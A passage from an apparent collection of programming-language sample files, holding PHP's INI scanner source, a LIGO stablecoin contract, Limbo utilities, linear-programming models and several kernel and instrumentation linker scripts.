yy_push_state(state_and_tsrm) _yy_push_state(yyc##state_and_tsrm)\n\nstatic void yy_pop_state(TSRMLS_D)\n{\n\tint *stack_state;\n\tzend_stack_top(&SCNG(state_stack), (void **) &stack_state);\n\tYYSETCONDITION(*stack_state);\n\tzend_stack_del_top(&SCNG(state_stack));\n}\n\nstatic void yy_scan_buffer(char *str, unsigned int len TSRMLS_DC)\n{\n\tYYCURSOR = (YYCTYPE*)str;\n\tSCNG(yy_start) = YYCURSOR;\n\tYYLIMIT  = YYCURSOR + len;\n}\n\n#define ini_filename SCNG(filename)\n\n/* {{{ init_ini_scanner()\n*/\nstatic int init_ini_scanner(int scanner_mode, zend_file_handle *fh TSRMLS_DC)\n{\n\t/* Sanity check */\n\tif (scanner_mode != ZEND_INI_SCANNER_NORMAL && scanner_mode != ZEND_INI_SCANNER_RAW) {\n\t\tzend_error(E_WARNING, \"Invalid scanner mode\");\n\t\treturn FAILURE;\n\t}\n\n\tSCNG(lineno) = 1;\n\tSCNG(scanner_mode) = scanner_mode;\n\tSCNG(yy_in) = fh;\n\n\tif (fh != NULL) {\n\t\tini_filename = zend_strndup(fh->filename, strlen(fh->filename));\n\t} else {\n\t\tini_filename = NULL;\n\t}\n\n\tzend_stack_init(&SCNG(state_stack));\n\tBEGIN(INITIAL);\n\n\treturn SUCCESS;\n}\n/* }}} */\n\n/* {{{ shutdown_ini_scanner()\n*/\nvoid shutdown_ini_scanner(TSRMLS_D)\n{\n\tzend_stack_destroy(&SCNG(state_stack));\n\tif (ini_filename) {\n\t\tfree(ini_filename);\n\t}\n}\n/* }}} */\n\n/* {{{ zend_ini_scanner_get_lineno()\n*/\nint zend_ini_scanner_get_lineno(TSRMLS_D)\n{\n\treturn SCNG(lineno);\n}\n/* }}} */\n\n/* {{{ zend_ini_scanner_get_filename()\n*/\nchar *zend_ini_scanner_get_filename(TSRMLS_D)\n{\n\treturn ini_filename ? ini_filename : \"Unknown\";\n}\n/* }}} */\n\n/* {{{ zend_ini_open_file_for_scanning()\n*/\nint zend_ini_open_file_for_scanning(zend_file_handle *fh, int scanner_mode TSRMLS_DC)\n{\n\tchar *buf;\n\tsize_t size;\n\n\tif (zend_stream_fixup(fh, &buf, &size TSRMLS_CC) == FAILURE) {\n\t\treturn FAILURE;\n\t}\n\n\tif (init_ini_scanner(scanner_mode, fh TSRMLS_CC) == FAILURE) {\n\t\tzend_file_handle_dtor(fh TSRMLS_CC);\n\t\treturn FAILURE;\n\t}\n\n\tyy_scan_buffer(buf, size TSRMLS_CC);\n\n\treturn SUCCESS;\n}\n/* }}} */\n\n/* {{{ zend_ini_prepare_string_for_scanning()\n*/\nint zend_ini_prepare_string_for_scanning(char *str, int scanner_mode TSRMLS_DC)\n{\n\tint len = strlen(str);\n\n\tif (init_ini_scanner(scanner_mode, NULL TSRMLS_CC) == FAILURE) {\n\t\treturn FAILURE;\n\t}\n\n\tyy_scan_buffer(str, len TSRMLS_CC);\n\n\treturn SUCCESS;\n}\n/* }}} */\n\n/* {{{ zend_ini_escape_string()\n */\nstatic void zend_ini_escape_string(zval *lval, char *str, int len, char quote_type TSRMLS_DC)\n{\n\tregister char *s, *t;\n\tchar *end;\n\n\tzend_ini_copy_value(lval, str, len);\n\n\t/* convert escape sequences */\n\ts = t = Z_STRVAL_P(lval);\n\tend = s + Z_STRLEN_P(lval);\n\n\twhile (s < end) {\n\t\tif (*s == '\\\\') {\n\t\t\ts++;\n\t\t\tif (s >= end) {\n\t\t\t\t*t++ = '\\\\';\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tswitch (*s) {\n\t\t\t\tcase '\"':\n\t\t\t\t\tif (*s != quote_type) {\n\t\t\t\t\t\t*t++ = '\\\\';\n\t\t\t\t\t\t*t++ = *s;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\tcase '\\\\':\n\t\t\t\tcase '$':\n\t\t\t\t\t*t++ = *s;\n\t\t\t\t\tZ_STRLEN_P(lval)--;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t*t++ = '\\\\';\n\t\t\t\t\t*t++ = *s;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t} else {\n\t\t\t*t++ = *s;\n\t\t}\n\t\tif (*s == '\\n' || (*s == '\\r' && (*(s+1) != '\\n'))) {\n\t\t\tSCNG(lineno)++;\n\t\t}\n\t\ts++;\n\t}\n\t*t = 0;\n}\n/* }}} */\n\nint ini_lex(zval *ini_lval TSRMLS_DC)\n{\nrestart:\n\tSCNG(yy_text) = YYCURSOR;\n\n/* yymore_restart: */\n\t/* detect EOF */\n\tif (YYCURSOR >= YYLIMIT) {\n\t\tif (YYSTATE == STATE(ST_VALUE) || YYSTATE == STATE(ST_RAW)) {\n\t\t\tBEGIN(INITIAL);\n\t\t\treturn END_OF_LINE;\n\t\t}\n\t\treturn 0;\n\t}\n\n\t/* Eat any UTF-8 BOM we find in the first 3 bytes */\n\tif (YYCURSOR == SCNG(yy_start) && YYCURSOR + 3 < YYLIMIT) {\n\t\tif (memcmp(YYCURSOR, \"\\xef\\xbb\\xbf\", 3) == 0) {\n\t\t\tYYCURSOR += 3;\n\t\t\tgoto restart;\n\t\t}\n\t}\n/*!re2c\nre2c:yyfill:check = 0;\nLNUM [0-9]+\nDNUM ([0-9]*[\\.][0-9]+)|([0-9]+[\\.][0-9]*)\nNUMBER [-]?{LNUM}|{DNUM}\nANY_CHAR (.|[\\n\\t])\nNEWLINE\t(\"\\r\"|\"\\n\"|\"\\r\\n\")\nTABS_AND_SPACES [ \\t]\nWHITESPACE [ \\t]+\nCONSTANT [a-zA-Z_][a-zA-Z0-9_]*\nLABEL [^=\\n\\r\\t;|&$~(){}!\"\\[]+\nTOKENS [:,.\\[\\]\"'()|^&+-/*=%$!~<>?@{}]\nOPERATORS [&|~()!]\nDOLLAR_CURLY \"${\"\n\nSECTION_RAW_CHARS [^\\]\\n\\r]\nSINGLE_QUOTED_CHARS [^']\nRAW_VALUE_CHARS [^\"\\n\\r;\\000]\n\nLITERAL_DOLLAR (\"$\"([^{\\000]|(\"\\\\\"{ANY_CHAR})))\nVALUE_CHARS         ([^$= \\t\\n\\r;&|~()!\"'\\000]|{LITERAL_DOLLAR})\nSECTION_VALUE_CHARS ([^$\\n\\r;\"'\\]\\\\]|(\"\\\\\"{ANY_CHAR})|{LITERAL_DOLLAR})\n\n<!*> := yyleng = YYCURSOR - SCNG(yy_text);\n\n<INITIAL>\"[\" { /* Section start */\n\t/* Enter section data lookup state */\n\tif (SCNG(scanner_mode) == ZEND_INI_SCANNER_RAW) {\n\t\tyy_push_state(ST_SECTION_RAW TSRMLS_CC);\n\t} else {\n\t\tyy_push_state(ST_SECTION_VALUE TSRMLS_CC);\n\t}\n\treturn TC_SECTION;\n}\n\n<ST_VALUE,ST_SECTION_VALUE,ST_OFFSET>\"'\"{SINGLE_QUOTED_CHARS}+\"'\" { /* Raw string */\n\t/* Eat leading and trailing single quotes */\n\tif (yytext[0] == '\\'' && yytext[yyleng - 1] == '\\'') {\n\t\tSCNG(yy_text)++;\n\t\tyyleng = yyleng - 2;\n\t}\n\tRETURN_TOKEN(TC_RAW, yytext, yyleng);\n}\n\n<ST_SECTION_RAW,ST_SECTION_VALUE>\"]\"{TABS_AND_SPACES}*{NEWLINE}? { /* End of section */\n\tBEGIN(INITIAL);\n\tSCNG(lineno)++;\n\treturn ']';\n}\n\n<INITIAL>{LABEL}\"[\"{TABS_AND_SPACES}* { /* Start of option with offset */\n\t/* Eat leading whitespace */\n\tEAT_LEADING_WHITESPACE();\n\t\n\t/* Eat trailing whitespace and [ */\n\tEAT_TRAILING_WHITESPACE_EX('[');\n\n\t/* Enter offset lookup state */\n\tyy_push_state(ST_OFFSET TSRMLS_CC);\n\n\tRETURN_TOKEN(TC_OFFSET, yytext, yyleng);\n}\n\n<ST_OFFSET>{TABS_AND_SPACES}*\"]\" { /* End of section or an option offset */\n\tBEGIN(INITIAL);\n\treturn ']';\n}\n\n<ST_DOUBLE_QUOTES,ST_SECTION_VALUE,ST_VALUE,ST_OFFSET>{DOLLAR_CURLY} { /* Variable start */\n\tyy_push_state(ST_VARNAME TSRMLS_CC);\n\treturn TC_DOLLAR_CURLY;\n}\n\n<ST_VARNAME>{LABEL} { /* Variable name */\n\t/* Eat leading whitespace */\n\tEAT_LEADING_WHITESPACE();\n\n\t/* Eat trailing whitespace */\n\tEAT_TRAILING_WHITESPACE();\n\n\tRETURN_TOKEN(TC_VARNAME, yytext, yyleng);\n}\n\n<ST_VARNAME>\"}\" { /* Variable end */\n\tyy_pop_state(TSRMLS_C);\n\treturn '}';\n}\n\n<INITIAL,ST_VALUE>(\"true\"|\"on\"|\"yes\"){TABS_AND_SPACES}* { /* TRUE value (when used outside option value/offset this causes parse error!) */\n\tRETURN_TOKEN(BOOL_TRUE, \"1\", 1);\n}\n\n<INITIAL,ST_VALUE>(\"false\"|\"off\"|\"no\"|\"none\"|\"null\"){TABS_AND_SPACES}* { /* FALSE value (when used outside option value/offset this causes parse error!)*/\n\tRETURN_TOKEN(BOOL_FALSE, \"\", 0);\n}\n\n<INITIAL>{LABEL} { /* Get option name */\n\t/* Eat leading whitespace */\n\tEAT_LEADING_WHITESPACE();\n\n\t/* Eat trailing whitespace */\n\tEAT_TRAILING_WHITESPACE();\n\n\tRETURN_TOKEN(TC_LABEL, yytext, yyleng);\n}\n\n<INITIAL>{TABS_AND_SPACES}*[=]{TABS_AND_SPACES}* { /* Start option value */\n\tif (SCNG(scanner_mode) == ZEND_INI_SCANNER_RAW) {\n\t\tyy_push_state(ST_RAW TSRMLS_CC);\n\t} else {\n\t\tyy_push_state(ST_VALUE TSRMLS_CC);\n\t}\n\treturn '=';\n}\n\n<ST_RAW>[\"] {\n\twhile (YYCURSOR < YYLIMIT) {\n\t\tswitch (*YYCURSOR++) {\n\t\t\tcase '\\n':\n\t\t\t\tSCNG(lineno)++;\n\t\t\t\tbreak;\n\t\t\tcase '\\r':\n\t\t\t\tif (*YYCURSOR != '\\n') {\n\t\t\t\t\tSCNG(lineno)++;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '\"':\n\t\t\t\tyyleng = YYCURSOR - SCNG(yy_text) - 2;\n\t\t\t\tSCNG(yy_text)++;\n\t\t\t\tRETURN_TOKEN(TC_RAW, yytext, yyleng);\n\t\t\tcase '\\\\':\n\t\t\t\tif (YYCURSOR < YYLIMIT) {\n\t\t\t\t\tYYCURSOR++;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tyyleng = YYCURSOR - SCNG(yy_text);\n\tRETURN_TOKEN(TC_RAW, yytext, yyleng);\n}\n\n<ST_RAW>{RAW_VALUE_CHARS}+ { /* Raw value, only used when SCNG(scanner_mode) == ZEND_INI_SCANNER_RAW. */\n\tRETURN_TOKEN(TC_RAW, yytext, yyleng);\n}\n\n<ST_SECTION_RAW>{SECTION_RAW_CHARS}+ { /* Raw value, only used when SCNG(scanner_mode) == ZEND_INI_SCANNER_RAW. */\n\tRETURN_TOKEN(TC_RAW, yytext, yyleng);\n}\n\n<ST_VALUE,ST_RAW>{TABS_AND_SPACES}*{NEWLINE} { /* End of option value */\n\tBEGIN(INITIAL);\n\tSCNG(lineno)++;\n\treturn END_OF_LINE;\n}\n\n<ST_SECTION_VALUE,ST_VALUE,ST_OFFSET>{CONSTANT} { /* Get constant option value */\n\tRETURN_TOKEN(TC_CONSTANT, yytext, yyleng);\n}\n\n<ST_SECTION_VALUE,ST_VALUE,ST_OFFSET>{NUMBER} { /* Get number option value as string */\n\tRETURN_TOKEN(TC_NUMBER, yytext, yyleng);\n}\n\n<INITIAL>{TOKENS} { /* Disallow these chars outside option values */\n\treturn yytext[0];\n}\n\n<ST_VALUE>{OPERATORS}{TABS_AND_SPACES}* { /* Boolean operators */\n\treturn yytext[0];\n}\n\n<ST_VALUE>[=] { /* Make = used in option value to trigger error */\n\tyyless(0);\n\tBEGIN(INITIAL);\n\treturn END_OF_LINE;\n}\n\n<ST_VALUE>{VALUE_CHARS}+ { /* Get everything else as option/offset value */\n\tRETURN_TOKEN(TC_STRING, yytext, yyleng);\n}\n\n<ST_SECTION_VALUE,ST_OFFSET>{SECTION_VALUE_CHARS}+ { /* Get rest as section/offset value */\n\tRETURN_TOKEN(TC_STRING, yytext, yyleng);\n}\n\n<ST_SECTION_VALUE,ST_VALUE,ST_OFFSET>{TABS_AND_SPACES}*[\"] { /* Double quoted '\"' string start */\n\tyy_push_state(ST_DOUBLE_QUOTES TSRMLS_CC);\n\treturn '\"';\n}\n\n<ST_DOUBLE_QUOTES>[\"]{TABS_AND_SPACES}* { /* Double quoted '\"' string ends */\n\tyy_pop_state(TSRMLS_C);\n\treturn '\"';\n}\n\n<ST_DOUBLE_QUOTES>[^] { /* Escape double quoted string contents */\n\tif (YYCURSOR > YYLIMIT) {\n\t\treturn 0;\n\t}\n\t\n\twhile (YYCURSOR < YYLIMIT) {\n\t\tswitch (*YYCURSOR++) {\n\t\t\tcase '\"':\n\t\t\t\tif (YYCURSOR < YYLIMIT && YYCURSOR[-2] == '\\\\' && *YYCURSOR != '\\r' && *YYCURSOR != '\\n') {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '$':\n\t\t\t\tif (*YYCURSOR == '{') {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\tcase '\\\\':\n\t\t\t\tif (YYCURSOR < YYLIMIT && *YYCURSOR != '\"') {\n\t\t\t\t\tYYCURSOR++;\n\t\t\t\t}\n\t\t\t\t/* fall through */\n\t\t\tdefault:\n\t\t\t\tcontinue;\n\t\t}\n\t\t\n\t\tYYCURSOR--;\n\t\tbreak;\n\t}\n\n\tyyleng = YYCURSOR - SCNG(yy_text);\n\t\n\tzend_ini_escape_string(ini_lval, yytext, yyleng, '\"' TSRMLS_CC);\n\treturn TC_QUOTED_STRING;\n}\n\n<ST_SECTION_VALUE,ST_VALUE,ST_OFFSET>{WHITESPACE} {\n\tRETURN_TOKEN(TC_WHITESPACE, yytext, yyleng);\n}\n\n<INITIAL,ST_RAW>{TABS_AND_SPACES}+ {\n\t/* eat whitespace */\n\tgoto restart;\n}\n\n<INITIAL>{TABS_AND_SPACES}*{NEWLINE} {\n\tSCNG(lineno)++;\n\treturn END_OF_LINE;\n}\n\n<INITIAL,ST_VALUE,ST_RAW>{TABS_AND_SPACES}*[;][^\\r\\n]*{NEWLINE} { /* Comment */\n\tBEGIN(INITIAL);\n\tSCNG(lineno)++;\n\treturn END_OF_LINE;\n}\n\n<INITIAL>{TABS_AND_SPACES}*[#][^\\r\\n]*{NEWLINE} { /* #Comment */\n\tzend_error(E_DEPRECATED, \"Comments starting with '#' are deprecated in %s on line %d\", zend_ini_scanner_get_filename(TSRMLS_C), SCNG(lineno));\n\tBEGIN(INITIAL);\n\tSCNG(lineno)++;\n\treturn END_OF_LINE;\n}\n\n<ST_VALUE,ST_RAW>[^] { /* End of option value (if EOF is reached before EOL */\n\tBEGIN(INITIAL);\n\treturn END_OF_LINE;\n}\n\n<*>[^] {\n\treturn 0;\n}\n\n*/\n}\n"
  },
  {
    "path": "samples/LigoLANG/FA1.2.ligo",
    "content": "// SPDX-FileCopyrightText: 2020 TQ Tezos\n// SPDX-License-Identifier: MIT\n\n#include \"spec.ligo\"\n#include \"../permit.ligo\"\n#include \"permit.ligo\"\n#include \"spender_allowances.ligo\"\n#include \"actions.ligo\"\n\n(*\n * FA1.2 entrypoints that are specified in [tzip-12](https://gitlab.com/tzip/tzip/-/blob/827c6c5f9e504e9c4a63e265f86dce24f5c5cef9/proposals/tzip-12/tzip-12.md)\n *)\nfunction fa1_2_main\n  ( const action : parameter\n  ; const store  : storage\n  ; const full_param : closed_parameter\n  ) : entrypoint\nis case action of\n  | Transfer       (params) -> transfer         (params, store, full_param)\n  | Approve        (params) -> approve          (params, store, full_param)\n  | GetBalance     (params) -> get_balance      (params, store)\n  | GetAllowance   (params) -> get_allowance    (params, store)\n  | GetTotalSupply (params) -> get_total_supply (params, store)\nend\n\n\n(*\n * Root entrypoint of stablecoin smart-contract\n *)\nfunction stablecoin_main\n  ( const full_param : closed_parameter\n  ; const store  : storage\n  ) : entrypoint is block\n{ fail_on (Tezos.amount =/= 0tz, \"XTZ_RECEIVED\") // Validate whether the contract receives non-zero amount of tokens\n} with case full_param of\n    Call_FA1_2            (params) -> fa1_2_main            (params, store, full_param)\n  | Pause                 (params) -> pause                 (params, store, full_param)\n  | Unpause               (params) -> unpause               (params, store, full_param)\n  | Configure_minter      (params) -> configure_minter      (params, store, full_param)\n  | Remove_minter         (params) -> remove_minter         (params, store, full_param)\n  | Mint                  (params) -> mint                  (params, store)\n  | Burn                  (params) -> burn                  (params, store)\n  | Transfer_ownership    (params) -> transfer_ownership    (params, store, full_param)\n  | Accept_ownership      (params) -> accept_ownership      (params, store, full_param)\n  | Change_master_minter  (params) -> change_master_minter  (params, store, full_param)\n  | Change_pauser         (params) -> change_pauser         (params, store, full_param)\n  | Set_transferlist      (params) -> set_transferlist      (params, store, full_param)\n  | Permit                (params) -> add_permit            (params, store)\n  | Set_expiry            (params) -> set_expiry            (params, store)\n  end\n"
  },
  {
    "path": "samples/Limbo/cat.b",
    "content": "implement Cat;\n\ninclude \"sys.m\";\n\tsys: Sys;\n\ninclude \"draw.m\";\n\nCat: module\n{\n\tinit:\tfn(ctxt: ref Draw->Context, argv: list of string);\n};\n\nstdout: ref Sys->FD;\n\ninit(nil: ref Draw->Context, args: list of string)\n{\n\tsys = load Sys Sys->PATH;\n\tstdout = sys->fildes(1);\n\targs = tl args;\n\tif(args == nil)\n\t\targs = \"-\" :: nil;\n\tfor(; args != nil; args = tl args){\n\t\tfile := hd args;\n\t\tif(file != \"-\"){\n\t\t\tfd := sys->open(file, Sys->OREAD);\n\t\t\tif(fd == nil){\n\t\t\t\tsys->fprint(sys->fildes(2), \"cat: cannot open %s: %r\\n\", file);\n\t\t\t\traise \"fail:bad open\";\n\t\t\t}\n\t\t\tcat(fd, file);\n\t\t}else\n\t\t\tcat(sys->fildes(0), \"<stdin>\");\n\t}\n}\n\ncat(fd: ref Sys->FD, file: string)\n{\n\tbuf := array[Sys->ATOMICIO] of byte;\n\twhile((n := sys->read(fd, buf, len buf)) > 0)\n\t\tif(sys->write(stdout, buf, n) < n) {\n\t\t\tsys->fprint(sys->fildes(2), \"cat: write error: %r\\n\");\n\t\t\traise \"fail:write error\";\n\t\t}\n\tif(n < 0) {\n\t\tsys->fprint(sys->fildes(2), \"cat: error reading %s: %r\\n\", file);\n\t\traise \"fail:read error\";\n\t}\n}\n"
  },
  {
    "path": "samples/Limbo/lock.b",
    "content": "implement Lock;\n\ninclude \"sys.m\";\n\tsys:\tSys;\ninclude \"lock.m\";\n\nSemaphore.obtain(l: self ref Semaphore)\n{\n\tl.c <-= 0;\n}\n\nSemaphore.release(l: self ref Semaphore)\n{\n\t<-l.c;\n}\n\nSemaphore.new(): ref Semaphore\n{\n\tl := ref Semaphore;\n\tl.c = chan[1] of int;\n\treturn l;\n}\n\ninit()\n{\n}\n"
  },
  {
    "path": "samples/Limbo/lock.m",
    "content": "Lock: module\n{\n\tPATH:\tcon \"/dis/lib/lock.dis\";\n\n\tSemaphore: adt {\n\t\tc: chan of int;\n\t\tobtain:\tfn(nil: self ref Semaphore);\n\t\trelease: fn(nil: self ref Semaphore);\n\t\tnew: fn(): ref Semaphore;\n\t};\n\t\n\tinit: fn();\n};\n"
  },
  {
    "path": "samples/Linear Programming/Multiobj.lp",
    "content": "\\ Model Multiobj\n\\ LP format - for model browsing. Use MPS format to capture full model detail.\nMaximize multi-objectives\n  Set0: Priority=3 Weight=1 AbsTol=1 RelTol=0.01\n   El0 + El1 + El2 + El3 + El4 + El5 + El6 + El7 + El8 + El9\n  Set1: Priority=2 Weight=0.25 AbsTol=2 RelTol=0.01\n   El5 + El6 + El7 + El8 + El9 + El15 + El16 + El17 + El18 + El19\n  Set2: Priority=2 Weight=1.25 AbsTol=3 RelTol=0.01\n   El3 + El4 + El6 + El7 + El13 + El14 + El16 + El17\n  Set3: Priority=1 Weight=1 AbsTol=4 RelTol=0.01\n   El3 + El4 + El5 + El9 + El10 + El11 + El15 + El16 + El17\nSubject To\n Budget: El0 + El1 + El2 + El3 + El4 + El5 + El6 + El7 + El8 + El9 + El10\n   + El11 + El12 + El13 + El14 + El15 + El16 + El17 + El18 + El19 <= 12\nBounds\nBinaries\n El0 El1 El2 El3 El4 El5 El6 El7 El8 El9 El10 El11 El12 El13 El14 El15 El16\n El17 El18 El19\nEnd"
  },
  {
    "path": "samples/Linear Programming/diet.lp",
    "content": "\\ This file has been generated by DOcplex\n\\ ENCODING=ISO-8859-1\n\\Problem name: diet\n\nMinimize\n obj: 0.840000000000 Roasted_Chicken + 0.780000000000 Spaghetti_W__Sauce\n      + 0.270000000000 Tomato,Red,Ripe,Raw + 0.240000000000 Apple,Raw,W_Skin\n      + 0.320000000000 Grapes + 0.030000000000 Chocolate_Chip_Cookies\n      + 0.230000000000 Lowfat_Milk + 0.340000000000 Raisin_Brn\n      + 0.310000000000 Hotdog\nSubject To\n c1: 277.400000000000 Roasted_Chicken + 358.200000000000 Spaghetti_W__Sauce\n     + 25.800000000000 Tomato,Red,Ripe,Raw + 81.400000000000 Apple,Raw,W_Skin\n     + 15.100000000000 Grapes + 78.100000000000 Chocolate_Chip_Cookies\n     + 121.200000000000 Lowfat_Milk + 115.100000000000 Raisin_Brn\n     + 242.100000000000 Hotdog- Rgc1 = 2500\n c2: 21.900000000000 Roasted_Chicken + 80.200000000000 Spaghetti_W__Sauce\n     + 6.200000000000 Tomato,Red,Ripe,Raw + 9.700000000000 Apple,Raw,W_Skin\n     + 3.400000000000 Grapes + 6.200000000000 Chocolate_Chip_Cookies\n     + 296.700000000000 Lowfat_Milk + 12.900000000000 Raisin_Brn\n     + 23.500000000000 Hotdog- Rgc2 = 1600\n c3: 1.800000000000 Roasted_Chicken + 2.300000000000 Spaghetti_W__Sauce\n     + 0.600000000000 Tomato,Red,Ripe,Raw + 0.200000000000 Apple,Raw,W_Skin\n     + 0.100000000000 Grapes + 0.400000000000 Chocolate_Chip_Cookies\n     + 0.100000000000 Lowfat_Milk + 16.800000000000 Raisin_Brn\n     + 2.300000000000 Hotdog- Rgc3 = 30\n c4: 77.400000000000 Roasted_Chicken + 3055.200000000000 Spaghetti_W__Sauce\n     + 766.300000000000 Tomato,Red,Ripe,Raw + 73.100000000000 Apple,Raw,W_Skin\n     + 24 Grapes + 101.800000000000 Chocolate_Chip_Cookies\n     + 500.200000000000 Lowfat_Milk + 1250.200000000000 Raisin_Brn- Rgc4 = 50000\n c5: 11.600000000000 Spaghetti_W__Sauce + 1.400000000000 Tomato,Red,Ripe,Raw\n     + 3.700000000000 Apple,Raw,W_Skin + 0.200000000000 Grapes + 4 Raisin_Brn-\n     Rgc5 = 100\n c6: 58.300000000000 Spaghetti_W__Sauce + 5.700000000000 Tomato,Red,Ripe,Raw\n     + 21 Apple,Raw,W_Skin + 4.100000000000 Grapes\n     + 9.300000000000 Chocolate_Chip_Cookies + 11.700000000000 Lowfat_Milk\n     + 27.900000000000 Raisin_Brn + 18 Hotdog- Rgc6 = 300\n c7: 42.200000000000 Roasted_Chicken + 8.200000000000 Spaghetti_W__Sauce\n     + Tomato,Red,Ripe,Raw + 0.300000000000 Apple,Raw,W_Skin\n     + 0.200000000000 Grapes + 0.900000000000 Chocolate_Chip_Cookies\n     + 8.100000000000 Lowfat_Milk + 4 Raisin_Brn + 10.400000000000 Hotdog- Rgc7\n     = 100\n\nBounds\n      Roasted_Chicken <= 10\n      Spaghetti_W__Sauce <= 10\n      Tomato,Red,Ripe,Raw <= 10\n      Apple,Raw,W_Skin <= 10\n      Grapes <= 10\n      Chocolate_Chip_Cookies <= 10\n      Lowfat_Milk <= 10\n      Raisin_Brn <= 10\n      Hotdog <= 10\n-500 <= Rgc1 <= 0\n-800 <= Rgc2 <= 0\n-20 <= Rgc3 <= 0\n-45000 <= Rgc4 <= 0\n-75 <= Rgc5 <= 0\n-300 <= Rgc6 <= 0\n-50 <= Rgc7 <= 0\nEnd"
  },
  {
    "path": "samples/Linker Script/filenames/ld.script",
    "content": "/*\n * ld.script for compressed kernel support of MIPS\n *\n * Copyright (C) 2009 Lemote Inc.\n * Author: Wu Zhangjin <wuzhanjing@gmail.com>\n * Copyright (C) 2010 \"Wu Zhangjin\" <wuzhanjing@gmail.com>\n */\n\nOUTPUT_ARCH(mips)\nENTRY(start)\nSECTIONS\n{\n\t/* Text and read-only data */\n\t/* . = VMLINUZ_LOAD_ADDRESS; */\n\t.text : {\n\t\t*(.text)\n\t\t*(.rodata)\n\t}\n\t/* End of text section */\n\n\t/* Writable data */\n\t.data : {\n\t\t*(.data)\n\t\t/* Put the compressed image here */\n\t\t__image_begin = .;\n\t\t*(.image)\n\t\t__image_end = .;\n\t\tCONSTRUCTORS\n\t}\n\t. = ALIGN(16);\n\t_edata = .;\n\t/* End of data section */\n\n\t/* BSS */\n\t.bss : {\n\t\t*(.bss)\n\t}\n\t. = ALIGN(16);\n\t_end = .;\n\n\t/* Sections to be discarded */\n\t/DISCARD/ : {\n\t\t*(.MIPS.options)\n\t\t*(.options)\n\t\t*(.pdr)\n\t\t*(.reginfo)\n\t\t*(.comment)\n\t\t*(.note)\n\t}\n}\n"
  },
  {
    "path": "samples/Linker Script/inject.x",
    "content": "/* OUTPUT_FORMAT(\"elf32-littlearm\", \"elf32-bigarm\", \"elf32-littlearm\") */\n/* OUTPUT_ARCH(arm) */\nENTRY(__adbi$entry)\nSECTIONS\n{\n    . = 0x00000000 + SIZEOF_HEADERS;\n   \n    .adbi : { \n      *(.rodata) \n      *(.rodata.*) \n      *(.data) *(.data.*)\n      *(.bss) *(.bss.*)\n      *(.text) \n      *(.text.*)\n      *(.adbi)\n      *(.adbi.*)\n    } = 0\n    \n}\n"
  },
  {
    "path": "samples/Linker Script/link.ld",
    "content": "/*\n*  link.ld\n*/\nOUTPUT_FORMAT(elf32-i386)\nENTRY(start)\nSECTIONS\n {\n   . = 0x100000;\n   .text : { *(.text) }\n   .data : { *(.data) }\n   .bss  : { *(.bss)  }\n }"
  },
  {
    "path": "samples/Linker Script/vmlinux.lds",
    "content": "/*\n * ld script for the x86 kernel\n *\n * Historic 32-bit version written by Martin Mares <mj@atrey.karlin.mff.cuni.cz>\n *\n * Modernisation, unification and other changes and fixes:\n *   Copyright (C) 2007-2009  Sam Ravnborg <sam@ravnborg.org>\n *\n *\n * Don't define absolute symbols until and unless you know that symbol\n * value is should remain constant even if kernel image is relocated\n * at run time. Absolute symbols are not relocated. If symbol value should\n * change if kernel is relocated, make the symbol section relative and\n * put it inside the section definition.\n */\n\n#ifdef CONFIG_X86_32\n#define LOAD_OFFSET __PAGE_OFFSET\n#else\n#define LOAD_OFFSET __START_KERNEL_map\n#endif\n\n#include <asm-generic/vmlinux.lds.h>\n#include <asm/asm-offsets.h>\n#include <asm/thread_info.h>\n#include <asm/page_types.h>\n#include <asm/cache.h>\n#include <asm/boot.h>\n\n#undef i386     /* in case the preprocessor is a 32bit one */\n\nOUTPUT_FORMAT(CONFIG_OUTPUT_FORMAT, CONFIG_OUTPUT_FORMAT, CONFIG_OUTPUT_FORMAT)\n\n#ifdef CONFIG_X86_32\nOUTPUT_ARCH(i386)\nENTRY(phys_startup_32)\njiffies = jiffies_64;\n#else\nOUTPUT_ARCH(i386:x86-64)\nENTRY(phys_startup_64)\njiffies_64 = jiffies;\n#endif\n\n#if defined(CONFIG_X86_64) && defined(CONFIG_DEBUG_RODATA)\n/*\n * On 64-bit, align RODATA to 2MB so that even with CONFIG_DEBUG_RODATA\n * we retain large page mappings for boundaries spanning kernel text, rodata\n * and data sections.\n *\n * However, kernel identity mappings will have different RWX permissions\n * to the pages mapping to text and to the pages padding (which are freed) the\n * text section. Hence kernel identity mappings will be broken to smaller\n * pages. For 64-bit, kernel text and kernel identity mappings are different,\n * so we can enable protection checks that come with CONFIG_DEBUG_RODATA,\n * as well as retain 2MB large page mappings for kernel text.\n */\n#define X64_ALIGN_DEBUG_RODATA_BEGIN\t. = ALIGN(HPAGE_SIZE);\n\n#define X64_ALIGN_DEBUG_RODATA_END\t\t\t\t\\\n\t\t. = ALIGN(HPAGE_SIZE);\t\t\t\t\\\n\t\t__end_rodata_hpage_align = .;\n\n#else\n\n#define X64_ALIGN_DEBUG_RODATA_BEGIN\n#define X64_ALIGN_DEBUG_RODATA_END\n\n#endif\n\nPHDRS {\n\ttext PT_LOAD FLAGS(5);          /* R_E */\n\tdata PT_LOAD FLAGS(6);          /* RW_ */\n#ifdef CONFIG_X86_64\n#ifdef CONFIG_SMP\n\tpercpu PT_LOAD FLAGS(6);        /* RW_ */\n#endif\n\tinit PT_LOAD FLAGS(7);          /* RWE */\n#endif\n\tnote PT_NOTE FLAGS(0);          /* ___ */\n}\n\nSECTIONS\n{\n#ifdef CONFIG_X86_32\n        . = LOAD_OFFSET + LOAD_PHYSICAL_ADDR;\n        phys_startup_32 = startup_32 - LOAD_OFFSET;\n#else\n        . = __START_KERNEL;\n        phys_startup_64 = startup_64 - LOAD_OFFSET;\n#endif\n\n\t/* Text and read-only data */\n\t.text :  AT(ADDR(.text) - LOAD_OFFSET) {\n\t\t_text = .;\n\t\t/* bootstrapping code */\n\t\tHEAD_TEXT\n\t\t. = ALIGN(8);\n\t\t_stext = 